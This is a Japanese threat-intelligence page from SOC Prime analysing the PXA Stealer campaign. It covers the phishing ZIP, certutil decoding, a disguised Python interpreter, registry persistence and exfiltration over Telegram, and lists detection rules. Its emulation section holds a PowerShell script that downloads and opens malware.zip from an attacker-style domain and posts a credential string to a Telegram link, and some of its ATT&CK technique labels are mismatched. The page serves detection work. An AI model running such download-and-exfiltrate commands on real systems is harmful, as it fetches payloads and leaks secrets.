SOC Prime Bias:

31 3月 2026 16:58

フィッシングからデータ流出まで:PXAスティーラーの詳細分析

Author Photo
Ruslan Mikhalov SOC Primeの脅威リサーチ責任者 linkedin icon フォローする
フィッシングからデータ流出まで:PXAスティーラーの詳細分析
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

サマリー

この報告書は、2026年初頭に金融機関を狙ったPXA Stealer活動の急増について説明しています。脅威アクターはフィッシングメールを通じて悪意のあるZIPアーカイブを拡散し、正規のシステムツールと名前を変更したPythonインタープリターを悪用する多段階感染チェーンに依存しています。活性化すると、このマルウェアはブラウザの証明書、保存されたパスワード、暗号通貨ウォレットのデータを盗み、収集した情報をTelegramを通じて送信します。このキャンペーンは、オペレーターが他の情報盗みエコシステムに対する以前の妨害を受けて、自分たちの手法をどのように調整したかを強調しています。

調査

CyberProofの研究者は、悪意のあるPumaproject.zipアーカイブを送信するフィッシングメールから、Telegramベースのデータ送信で終わる完全な攻撃チェーンを再構築しました。彼らの分析では、Shodan.pdfからのペイロードをデコードするためにCertutilを悪用していたことを特定し、WinRARのコピーが picture.png として偽装されて抽出され、隠されたDotsフォルダーとボット識別子に関連付けられた難読化されたスクリプトを開始するために使用されるsvchost.exe Pythonインタープリターと改名されました。レジストリ値エントリを通じて永続性が維持されます。

緩和策

ディフェンダーは、疑わしいアーカイブ添付ファイルを特定し、予期しないパスからのスクリプト実行と既知のLOLBinsを監視し、Telegramへの外向きトラフィックと .shop and .xyz.などの異常なTLDをブロックする必要があります。また、セキュリティチームは、メールゲートウェイを強化し、Officeファイルおよびスクリプトベースのコンテンツに厳格な実行制御を適用するべきです。

対応

PXA Stealerが検出された場合は、影響を受けたホストを隔離し、揮発性の証拠を取得し、参照されているファイルアーティファクトとレジストリの変更を検索します。悪意のあるファイルを削除し、影響を受けたプロセスを終了し、露出した認証情報をリセットします。その後、環境全体で一致するインジケータのためにより広範な脅威のハントを実行し、関連するステークホルダーに通知する必要があります。

<div class="wp-block-socprime-category-attack-flow attack-flow-class" data-title="Attack Flow" data-attack-flow="graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing["<b>Action</b> – <b>T1566.001 Phishing: Spearphishing Attachment</b><br/>Description: Email with malicious ZIP (Pumaproject.zip) containing Document.docx.exe."] class action_phishing action file_zip["<b>File</b> – Pumaproject.zip<br/><b>Contains</b>: Document.docx.exe"] class file_zip file action_user_exec["<b>Action</b> – <b>T1204.002 User Execution: Malicious File</b><br/>Description: Victim opens the attached executable."] class action_user_exec action process_malicious_exe["<b>Process</b> – Document.docx.exe"] class process_malicious_exe process action_execution_hijack["<b>Action</b> – <b>T1574 Hijack Execution Flow</b><br/>Description: Launches inter.cmd and uses certutil to decode payload from Shodan.pdf."] class action_execution_hijack action process_inter_cmd["<b>Process</b> – inter.cmd"] class process_inter_cmd process tool_certutil["<b>Tool</b> – certutil.exe<br/><b>Purpose</b>: Decode base64 content"] class tool_certutil tool file_shodan_pdf["<b>File</b> – Shodan.pdf<br/><b>Contains</b>: Base64 encoded payload"] class file_shodan_pdf file action_defense_embedded["<b>Action</b> – <b>T1027.009 Embedded Payloads</b><br/>Description: Payload hidden inside PDF file."] class action_defense_embedded action action_decode["<b>Action</b> – <b>T1140 Deobfuscate/Decode Files or Information</b><br/>Description: certutil decodes the payload."] class action_decode action action_hidden_dir["<b>Action</b> – <b>T1564.001 Hidden Files and Directories</b><br/>Description: Malware creates hidden folder "Dots" for intermediate files."] class action_hidden_dir action file_hidden_dir["<b>File</b> – Dots (hidden directory)"] class file_hidden_dir file action_relocate["<b>Action</b> – <b>T1070.010 Indicator Removal: Relocate Malware</b><br/>Description: Moves malicious files into hidden "Dots" directory."] class action_relocate action action_compression["<b>Action</b> – <b>T1027.015 Compression</b><br/>Description: WinRAR disguised as picture.png extracts password‑protected archive (password shodan2201)."] class action_compression action tool_winar["<b>Tool</b> – WinRAR (renamed picture.png)"] class tool_winar tool file_archive["<b>File</b> – Password protected archive (shodan2201)"] class file_archive file action_rc_script["<b>Action</b> – <b>T1037.004 RC Scripts</b><br/>Description: Portable Python dropped, renamed to svchost.exe and executed with $BOT_ID argument."] class action_rc_script action process_svc_host["<b>Process</b> – svchost.exe (malicious Python interpreter)"] class process_svc_host process action_active_setup["<b>Action</b> – <b>T1547.014 Active Setup</b><br/>Description: Registry entry added to run svchost.exe at startup."] class action_active_setup action action_com_hijack["<b>Action</b> – <b>T1546.015 COM Hijacking</b><br/>Description: COM hijacking registry entry created for automatic execution."] class action_com_hijack action action_cred_browser["<b>Action</b> – <b>T1555.003 Credentials from Web Browsers</b><br/>Description: Injects into browsers to steal passwords, cookies, crypto wallet data."] class action_cred_browser action action_cred_cookies["<b>Action</b> – <b>T1539 Steal Web Session Cookie</b><br/>Description: Extracts web session cookies for reuse."] class action_cred_cookies action action_keylogging["<b>Action</b> – <b>T1056.001 Input Capture: Keylogging</b><br/>Description: Captures keystrokes from the user."] class action_keylogging action action_exfil_telegram["<b>Action</b> – <b>T1567 Exfiltration Over Web Service</b><br/>Description: Sends collected data to attacker‑controlled Telegram channels."] class action_exfil_telegram exfil action_exfil_c2["<b>Action</b> – <b>T1041 Exfiltration Over C2 Channel</b>

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#cccccc classDef file fill:#ffeb99 classDef process fill:#ffcc99 classDef persistence fill:#c2f0c2 classDef exfil fill:#f4c2c2 %% Node definitions action_phishing[“<b>アクション</b> – <b>T1566.001 フィッシング: スピアフィッシングアタッチメント</b><br/>説明: 悪意のあるZIP (Pumaproject.zip) を含むメール、その中にDocument.docx.exeが含まれている。”] class action_phishing action file_zip[“<b>ファイル</b> – Pumaproject.zip<br/><b>含まれている</b>: Document.docx.exe”] class file_zip file action_user_exec[“<b>アクション</b> – <b>T1204.002 ユーザー実行: 悪意のあるファイル</b><br/>説明: 被害者が添付された実行可能ファイルを開く。”] class action_user_exec action process_malicious_exe[“<b>プロセス</b> – Document.docx.exe”] class process_malicious_exe process action_execution_hijack[“<b>アクション</b> – <b>T1574 実行フローのハイジャック</b><br/>説明: inter.cmdを起動し、Shodan.pdfからペイロードをデコードするためにcertutilを使用する。”] class action_execution_hijack action process_inter_cmd[“<b>プロセス</b> – inter.cmd”] class process_inter_cmd process tool_certutil[“<b>ツール</b> – certutil.exe<br/><b>目的</b>: base64コンテンツをデコードする”] class tool_certutil tool file_shodan_pdf[“<b>ファイル</b> – Shodan.pdf<br/><b>含まれている</b>: Base64エンコードされたペイロード”] class file_shodan_pdf file action_defense_embedded[“<b>アクション</b> – <b>T1027.009 埋め込まれたペイロード</b><br/>説明: PDFファイル内にペイロードが隠されています。”] class action_defense_embedded action action_decode[“<b>アクション</b> – <b>T1140 難読化/デコード情報またはファイル</b><br/>説明: certutilがペイロードをデコードする。”] class action_decode action action_hidden_dir[“<b>アクション</b> – <b>T1564.001 隠されたファイルとディレクトリ</b><br/>説明: マルウェアが中間ファイル用に隠しフォルダ「Dots」を作成する。”] class action_hidden_dir action file_hidden_dir[“<b>ファイル</b> – Dots (隠しディレクトリ)”] class file_hidden_dir file action_relocate[“<b>アクション</b> – <b>T1070.010 インジケータ除去: マルウェアの再配置</b><br/>説明: 悪意のあるファイルを隠された「Dots」ディレクトリに移動する。”] class action_relocate action action_compression[“<b>アクション</b> – <b>T1027.015 圧縮</b><br/>説明: picture.pngとして偽装されたWinRARがパスワードで保護されたアーカイブ(パスワード: shodan2201)を抽出します。”] class action_compression action tool_winar[“<b>ツール</b> – WinRAR (名前を変更されたpicture.png)”] class tool_winar tool file_archive[“<b>ファイル</b> – パスワード保護されたアーカイブ (shodan2201)”] class file_archive file action_rc_script[“<b>アクション</b> – <b>T1037.004 RCスクリプト</b><br/>説明: 携帯性のあるPythonがドロップされ、svchost.exeに名前を変更され、$BOT_ID引数で実行されます。”] class action_rc_script action process_svc_host[“<b>プロセス</b> – svchost.exe (悪意のあるPythonインタープリター)”] class process_svc_host process action_active_setup[“<b>アクション</b> – <b>T1547.014 アクティブセットアップ</b><br/>説明: 起動時にsvchost.exeを実行するためにレジストリエントリが追加されます。”] class action_active_setup action action_com_hijack[“<b>アクション</b> – <b>T1546.015 COMハイジャック</b><br/>説明: 自動実行のために作成されたCOMハイジャックレジストリエントリ。”] class action_com_hijack action action_cred_browser[“<b>アクション</b> – <b>T1555.003 ウェブブラウザからのクレデンシャル</b><br/>説明: パスワード、クッキー、暗号通貨ウォレットデータを盗むためにブラウザに注入します。”] class action_cred_browser action action_cred_cookies[“<b>アクション</b> – <b>T1539 ウェブセッションクッキーの盗難</b><br/>説明: 再利用のためにウェブセッションクッキーを抽出します。”] class action_cred_cookies action action_keylogging[“<b>アクション</b> – <b>T1056.001 入力キャプチャ: キーロギング</b><br/>説明: ユーザーのキーストロークをキャプチャします。”] class action_keylogging action action_exfil_telegram[“<b>アクション</b> – <b>T1567 ウェブサービスを介したデータ漏洩</b><br/>説明: 攻撃者が管理するTelegramチャンネルに収集したデータを送信します。”] class action_exfil_telegram exfil action_exfil_c2[“<b>アクション</b> – <b>T1041 C2チャネルを介したデータ漏洩</b><br/>説明: TelegramをC2およびデータ漏洩チャネルとして使用します。”] class action_exfil_c2 exfil %% Connections action_phishing –>|delivers| file_zip file_zip –>|executes| action_user_exec action_user_exec –>|runs| process_malicious_exe process_malicious_exe –>|launches| action_execution_hijack action_execution_hijack –>|spawns| process_inter_cmd process_inter_cmd –>|uses| tool_certutil tool_certutil –>|decodes| file_shodan_pdf file_shodan_pdf –>|contains| action_defense_embedded action_defense_embedded –>|triggers| action_decode action_decode –>|creates| action_hidden_dir action_hidden_dir –>|creates| file_hidden_dir action_hidden_dir –>|stores| action_relocate action_relocate –>|moves files to| file_hidden_dir action_relocate –>|leads to| action_compression action_compression –>|uses| tool_winar tool_winar –>|extracts| file_archive file_archive –>|provides| action_rc_script action_rc_script –>|executes| process_svc_host process_svc_host –>|establishes| action_active_setup process_svc_host –>|establishes| action_com_hijack process_svc_host –>|enables| action_cred_browser process_svc_host –>|enables| action_cred_cookies process_svc_host –>|enables| action_keylogging action_keylogging –>|feeds data to| action_exfil_telegram action_cred_browser –>|feeds data to| action_exfil_telegram action_cred_cookies –>|feeds data to| action_exfil_telegram action_exfil_telegram –>|uses channel| action_exfil_c2

攻撃のフロー

検知

非典型的なパスからのシステムプロセス実行(プロセス作成による)

SOCプライムチーム
2026年3月31日

異常なトップレベルドメイン(TLD)DNSリクエストによる疑わしい指令制御(dnsによる)

SOCプライムチーム
2026年3月31日

パブリックユーザープロフィールからの疑わしい実行(プロセス作成による)

SOCプライムチーム
2026年3月31日

実行可能バイナリの異常な拡張子(プロセス作成による)

SOCプライムチーム
2026年3月31日

パブリックユーザープロフィール内の疑わしいファイル(ファイルイベントによる)

SOCプライムチーム
2026年3月31日

データエンコーディングおよびCert操作にCertutilを使用する(cmdlineによる)

SOCプライムチーム
2026年3月31日

検知するIOCs(HashMd5):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ・パート2

SOCプライムAIルール
2026年3月31日

検知するIOCs(DestinationIP):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ

SOCプライムAIルール
2026年3月31日

検知するIOCs(HashMd5):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ・パート1

SOCプライムAIルール
2026年3月31日

検知するIOCs(SourceIP):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ

SOCプライムAIルール
2026年3月31日

検知するIOCs(HashSha256):フィッシングからデータ漏洩まで:PXA Stealerのディープダイブ

SOCプライムAIルール
2026年3月31日

PXA Stealerの実行活動の検知 [Windowsプロセス作成]

SOCプライムAIルール
2026年3月31日

PXA Stealerのアウトバウンド接続の検知 [Windowsネットワーク接続]

SOCプライムAIルール
2026年3月31日

シミュレーション実行

前提条件:Telemetry & Baseline Pre-flight Checkが通過していること。

根拠:このセクションは、検知ルールをトリガーするために設計された敵対者技術(TTP)の正確な実行を詳述します。コマンドと解説は、識別されたTTPを直接反映し、検知ロジックに期待される正確なテレメトリーを生成することを目的としなければなりません。

  • 攻撃の物語とコマンド:
    脅威アクターは、 PXA Stealer を侵害されたWindowsホストに展開します。ユーザーが最初の悪意のあるバイナリ(T1204.002)を無意識のうちに実行した後、スティーラーはPowerShellのスニペットを実行し:

    1. 悪意のあるZIPをダウンロードする ハードコーディングされたドメインから downloadtheproject.xyz (T1202 – 間接コマンド実行)。
    2. 収集されたデータを Telegramチャンネルにメッセージを投稿することで送出 t.me (T1559.002 – フィッシングリンク)。
    3. オプションで悪意のあるCOMコンポーネントをロードし、永続性を実現します(T1127.002)。

    両方の外向きHTTP GETリクエストはSigmaルールが監視している DestinationDomain フィールドを生成し、アラートを引き起こします。

  • 回帰テストスクリプト:

    # PXA Stealerシミュレーション – 検知ルールをトリガー
    $tmpZip = "$env:TEMPpayload.zip"
    $tmpMsg = "$env:TEMPsteal.txt"
    
    # 1. 最初の悪意のあるドメインから悪意のあるZIPをダウンロード
    Invoke-WebRequest -Uri "https://downloadtheproject.xyz/malware.zip" -OutFile $tmpZip -UseBasicParsing
    
    # 2. Telegramリンクによるデータ漏洩をシミュレーション
    $payload = "ユーザー認証情報: admin / Pass123!"
    Set-Content -Path $tmpMsg -Value $payload -Encoding ASCII
    Invoke-WebRequest -Uri "https://t.me/stealchannel?text=$( [uri]::EscapeDataString($payload) )" -UseBasicParsing
    
    # 3. (オプション) ダミーのCOMオブジェクトをロードしてT1127.002をエミュレート
    try {
        $com = New-Object -ComObject "Shell.Application"
        $com.ShellExecute($tmpZip, "", "", "open", 0) | Out-Null
    } catch {
        # エラーを無視 – これはテレメトリー用です
    }
  • クリーンアップコマンド:

    # シミュレーションで作成したアーティファクトを削除
    Remove-Item -Path $tmpZip -Force -ErrorAction SilentlyContinue
    Remove-Item -Path $tmpMsg -Force -ErrorAction SilentlyContinue